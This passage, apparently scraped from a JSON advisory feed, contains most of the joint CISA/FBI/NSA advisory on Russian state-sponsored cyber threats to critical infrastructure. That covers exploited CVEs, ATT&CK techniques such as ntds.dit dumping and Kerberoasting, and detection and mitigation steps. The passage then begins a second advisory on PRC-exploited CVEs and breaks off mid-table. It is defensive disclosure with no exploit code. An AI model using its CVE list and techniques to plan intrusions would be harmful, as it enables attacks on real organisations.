tactics and techniques.___\n\nThis joint Cybersecurity Advisory (CSA)\u2014authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)\u2014is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian state-sponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats.\n\nCISA, the FBI, and NSA encourage the cybersecurity community\u2014especially critical infrastructure network defenders\u2014to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.\n\n 1. **Be prepared**. Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.\n 2. **Enhance your organization\u2019s cyber posture**. Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n 3. **Increase organizational vigilance**. Stay current on reporting on this threat. [Subscribe](<https://public.govdelivery.com/accounts/USDHSCISA/subscriber/new?qsp=CODE_RED>) to CISA\u2019s [mailing list and feeds](<https://www.cisa.gov/uscert/mailing-lists-and-feeds>) to receive notifications when CISA releases information about a security topic or threat.\n\nCISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: [Preparing for and Mitigating Cyber Threats](<https://cisa.gov/sites/default/files/publications/CISA_INSIGHTS-Preparing_For_and_Mitigating_Potential_Cyber_Threats-508C.pdf>) for information on reducing cyber threats to their organization.\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\nHistorically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics\u2014including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security\u2014to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) FortiGate VPNs\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) Cisco router\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) Oracle WebLogic Server\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) Kibana\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) Zimbra software\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) Exim Simple Mail Transfer Protocol\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) Pulse Secure\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) Citrix\n * [CVE-2020-0688 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)Microsoft Exchange\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) VMWare (note: this was a zero-day at time.)\n * [CVE-2020-5902 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)F5 Big-IP\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) Oracle WebLogic\n * [CVE-2021-26855 ](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\nRussian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments\u2014including cloud environments\u2014by using legitimate credentials.\n\nIn some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware. See the following advisories and alerts for information on historical Russian state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS:\n\n * ICS Advisory [ICS Focused Malware \u2013 Havex](<https://us-cert.cisa.gov/ics/advisories/ICSA-14-178-01>)\n * ICS Alert [Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-14-281-01B>)\n * ICS Alert [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/IR-ALERT-H-16-056-01>)\n * Technical Alert [CrashOverride Malware](<https://us-cert.cisa.gov/ncas/alerts/TA17-163A>)\n * CISA MAR [HatMan: Safety System Targeted Malware (Update B)](<https://us-cert.cisa.gov/ics/MAR-17-352-01-HatMan-Safety-System-Targeted-Malware-Update-B>)\n * CISA ICS Advisory [Schneider Electric Triconex Tricon (Update B)](<https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02>)\n\nRussian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes:\n\n * **Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020.** Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks. The actors successfully compromised networks and exfiltrated data from multiple victims.\n * **Russian state-sponsored APT actors\u2019 global Energy Sector intrusion campaign, 2011 to 2018. **These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.\n * **Russian state-sponsored APT actors\u2019 campaign against Ukrainian critical infrastructure, 2015 and 2016.** Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed [BlackEnergy](<https://attack.mitre.org/versions/v10/software/S0089>) malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed [CrashOverride ](<https://attack.mitre.org/versions/v10/software/S0604>)malware specifically designed to attack power grids.\n\nFor more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or [cisa.gov/Russia](<https://www.cisa.gov/uscert/russia>).\n\n * Joint FBI-DHS-CISA CSA [Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders](<https://us-cert.cisa.gov/ncas/alerts/aa21-116a>)\n * Joint NSA-FBI-CISA CSA [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)\n * Joint FBI-CISA CSA [Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://www.cisa.gov/uscert/ncas/alerts/aa20-296a>)\n * Joint CISA-FBI CSA [APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n * CISA\u2019s webpage [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * CISA Alert [Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors](<https://us-cert.cisa.gov/ncas/alerts/TA18-074A>)\n * CISA ICS Alert: [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/ir-alert-h-16-056-01>)\n\nTable 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors, which map to the MITRE ATT&CK for Enterprise framework, version 10. **Note:** these lists are not intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based on public reporting.[[1](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored actors may modify their TTPs as they deem necessary to reduce their risk of detection. \n\n_Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors_\n\nTactic | **Technique** | **Procedure** \n---|---|--- \n \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]\n\n| \n\nActive Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)] \n \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \n \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]\n\n| \n\nRussian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \n \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)\n\n| \n\nDevelop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]\n\n| \n\nRussian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\n| \n\nExploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]\n\n| \n\nRussian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \n \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]\n\n| \n\nRussian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nCommand and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]\n\n| \n\nRussian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\n| \n\nValid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]\n\n| \n\nRussian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]\n\n| \n\nBrute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]\n\n| \n\nRussian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \n \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]\n\n| \n\nRussian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \n \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]\n\n| \n\nRussian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \n \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]\n\n| \n\nRussian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \n \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]\n\n| \n\nRussian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \n \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]\n\n| \n\nRussian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \n \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]\n\n| \n\nProxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]\n\n| \n\nRussian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic. \n \nFor additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&CK for Enterprise pages on [APT29](<https://attack.mitre.org/versions/v10/groups/G0016>), [APT28](<https://attack.mitre.org/versions/v10/groups/G0007>), and the [Sandworm Team](<https://attack.mitre.org/versions/v10/groups/G0034>), respectively. For information on ICS TTPs see the [ATT&CK for ICS](<https://collaborate.mitre.org/attackics/index.php/Main_Page>) pages on the [Sandworm Team](<https://collaborate.mitre.org/attackics/index.php/Group/G0007>), [BlackEnergy 3 ](<https://collaborate.mitre.org/attackics/index.php/software/S0004>)malware, [CrashOveride](<https://collaborate.mitre.org/attackics/index.php/software/S0001>) malware, BlackEnergy\u2019s [KillDisk](<https://collaborate.mitre.org/attackics/index.php/software/S0016>) component, and [NotPetya](<https://collaborate.mitre.org/attackics/index.php/software/S0006>) malware.\n\n### Detection\n\nGiven Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to:\n\n * **Implement robust log collection and retention.** Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include: \n * Native tools such as M365\u2019s Sentinel. \n * Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. **Note:** for guidance on using these and other detection tools, refer to CISA Alert [Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>).\n * **Look for behavioral evidence or network and host-based artifacts **from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs. \n * To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts.\n * To detect use of compromised credentials in combination with a VPS, follow the below steps: \n * Look for suspicious \u201cimpossible logins,\u201d such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * Look for one IP used for multiple accounts, excluding expected logins.\n * Look for \u201cimpossible travel.\u201d Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). **Note:** implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.\n * Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the `ntds.dit` file from a domain controller. \n * Look for suspicious privileged account use after resetting passwords or applying user account mitigations. \n * Look for unusual activity in typically dormant accounts.\n * Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.\n * For organizations with OT/ICS systems: \n * Take note of unexpected equipment behavior; for example, unexpected reboots of digital controllers and other OT hardware and software. \n * Record delays or disruptions in communication with field equipment or other OT devices. Determine if system parts or components are lagging or unresponsive.\n\n### Incident Response\n\nOrganizations detecting potential APT activity in their IT or OT networks should:\n\n 1. Immediately isolate affected systems. \n 2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.\n 3. Collect and review relevant logs, data, and artifacts.\n 4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.\n 5. Report incidents to [CISA](<https://www.cisa.gov/uscert/report>) and/or the FBI via your [local FBI field office](<http://www.fbi.gov/contact-us/field>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>).\n\n**Note:** for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. Refer to the Mitigations section for more information.\n\nSee the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) for guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA, the FBI, and NSA encourage critical infrastructure owners and operators to see CISA\u2019s [Federal Government Cybersecurity Incident and Vulnerability Response Playbooks](<https://cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf>). Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail each step for both incident and vulnerability response. \n\n**Note: **organizations should document incident response procedures in a cyber incident response plan, which organizations should create and exercise (as noted in the Mitigations section). \n\n### Mitigations\n\nCISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.\n\n### Be Prepared\n\n#### _Confirm Reporting Processes and Minimize Coverage Gaps_\n\n * Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.\n * Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are [known to target organizations on weekends and holidays](<https://us-cert.cisa.gov/ncas/alerts/aa21-243a>) when there are gaps in organizational cybersecurity\u2014critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.\n * Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response. (See table 1 for commonly observed TTPs).\n\n#### _Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan_\n\n * Create, maintain, and exercise a cyber incident response and continuity of operations plan.\n * Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions: \n * Do personnel have the access they need?\n * Do they know the processes?\n * For OT assets/networks, \n * Identify a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. \n * Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.\n * Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.\n * Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.\n * In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident.\n\n### Enhance your Organization\u2019s Cyber Posture\n\nCISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n\n#### _Identity and Access Management_\n\n * Require multi-factor authentication for all users, without exception.\n * Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.\n * Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials. \n * Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.\n * Disable the storage of clear text passwords in LSASS memory.\n * Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.\n * Implement Credential Guard for Windows 10 and Server 2016 (Refer to [Microsoft: Manage Windows Defender Credential Guard](<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage>) for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).\n * Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as \u201cKerberoasting\u201d takes advantage of Kerberos\u2019 TGS and can be used to obtain hashed credentials that attackers attempt to crack.\n * Set a [strong](<https://www.us-cert.cisa.gov/ncas/tips/ST04-002>) password policy for service accounts.\n * Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity. \n * Secure accounts.\n * Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks.\n * Ensure there are unique and distinct administrative accounts for each set of administrative tasks.\n * Create non-privileged accounts for privileged users and ensure they use the non- privileged accounts for all non-privileged access (e.g., web browsing, email access).\n\n#### _Protective Controls and Architecture_\n\n * Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * Enable strong spam filters. \n * Enable strong spam filters to prevent phishing emails from reaching end users.\n * Filter emails containing executable files to prevent them from reaching end users.\n * Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.\n\n**Note:** CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between\u2014and access to\u2014various subnetworks.\n\n * Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.\n * Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.\n\n#### _Vulnerability and Configuration Management_\n\n * Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. \n * Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program. \n * Consider signing up for CISA\u2019s [cyber hygiene services](<https://www.cisa.gov/cyber-hygiene-services>), including vulnerability scanning, to help reduce exposure to threats. CISA\u2019s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.\n * Use industry recommended antivirus programs. \n * Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.\n * Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.\n * Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.\n * Disable all unnecessary ports and protocols \n * Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.\n * Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.\n * Ensure OT hardware is in read-only mode.\n\n### Increase Organizational Vigilance\n\n * Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.\n\n### Resources\n\n * For more information on Russian state-sponsored malicious cyber activity, refer to [cisa.gov/Russia.](<https://www.us-cert.cisa.gov/russia>)\n * Refer to CISA Analysis Report [Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-013a>) for steps for guidance on strengthening your organizations cloud security practices.\n * Leaders of small businesses and small and local government agencies should see [CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>) for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.\n * Critical infrastructure owners and operators with OT/ICS networks, should review the following resources for additional information: \n * NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems\n * CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.\n\n### Rewards for Justice Program\n\nIf you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State\u2019s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to [rewardsforjustice.net/malicious_cyber_activity.](<https://www.rewardsforjustice.net/malicious_cyber_activity.html>)\n\n### Caveats\n\nThe information you have accessed or received is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA.\n\n### References\n\n[[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)\n\n### Revisions\n\nJanuary 11, 2022: Initial Version|January 25, 2022: Updated broken link|February 28, 2022: Updated broken link\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-01T12:00:00", "type": "ics", "title": "Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-03-01T12:00:00", "id": "AA22-011A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-011a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:24:52", "description": "### Summary\n\nThis joint Cybersecurity Advisory (CSA) provides the top Common Vulnerabilities and Exposures (CVEs) used since 2020 by People\u2019s Republic of China (PRC) state-sponsored cyber actors as assessed by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). PRC state-sponsored cyber actors continue to exploit known vulnerabilities to actively target U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks.\n\nThis joint CSA builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\n\nNSA, CISA, and FBI urge U.S. and allied governments, critical infrastructure, and private sector organizations to apply the recommendations listed in the Mitigations section and Appendix A to increase their defensive posture and reduce the threat of compromise from PRC state-sponsored malicious cyber actors.\n\nFor more information on PRC state-sponsored malicious cyber activity, see CISA\u2019s [China Cyber Threat Overview and Advisories webpage](<https://www.cisa.gov/uscert/china>), FBI\u2019s [Industry Alerts](<https://www.ic3.gov/Home/IndustryAlerts>), and NSA\u2019s [Cybersecurity Advisories & Guidance](<https://www.nsa.gov/Press-Room/Cybersecurity-Advisories-Guidance/>). \n\nDownload the PDF version of this report: [pdf, 409 KB](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>)\n\n### Technical Details\n\nNSA, CISA, and FBI continue to assess PRC state-sponsored cyber activities as being one of the largest and most dynamic threats to U.S. government and civilian networks. PRC state-sponsored cyber actors continue to target government and critical infrastructure networks with an increasing array of new and adaptive techniques\u2014some of which pose a significant risk to Information Technology Sector organizations (including telecommunications providers), Defense Industrial Base (DIB) Sector organizations, and other critical infrastructure organizations.\n\nPRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target networks of interest. NSA, CISA, and FBI assess PRC state-sponsored cyber actors have actively targeted U.S. and allied networks as well as software and hardware companies to steal intellectual property and develop access into sensitive networks. See Table 1 for the top used CVEs.\n\n_Table I: Top CVEs most used by Chinese state-sponsored cyber actors since 2020_\n\nVendor\n\n| \n\nCVE\n\n| \n\nVulnerability Type \n \n---|---|--- \n \nApache Log4j\n\n| \n\nCVE-2021-44228\n\n| \n\nRemote Code Execution \n \nPulse Connect Secure\n\n| \n\nCVE-2019-11510\n\n| \n\nArbitrary File Read \n \nGitLab CE/EE\n\n| \n\nCVE-2021-22205\n\n| \n\nRemote Code Execution \n \nAtlassian\n\n| \n\nCVE-2022-26134\n\n| \n\nRemote Code Execution \n \nMicrosoft Exchange\n\n| \n\nCVE-2021-26855\n\n| \n\nRemote Code Execution \n \nF5 Big-IP\n\n| \n\nCVE-2020-5902\n\n| \n\nRemote Code Execution \n \nVMware vCenter Server\n\n| \n\nCVE-2021-22005\n\n| \n\nArbitrary File Upload \n \nCitrix ADC\n\n| 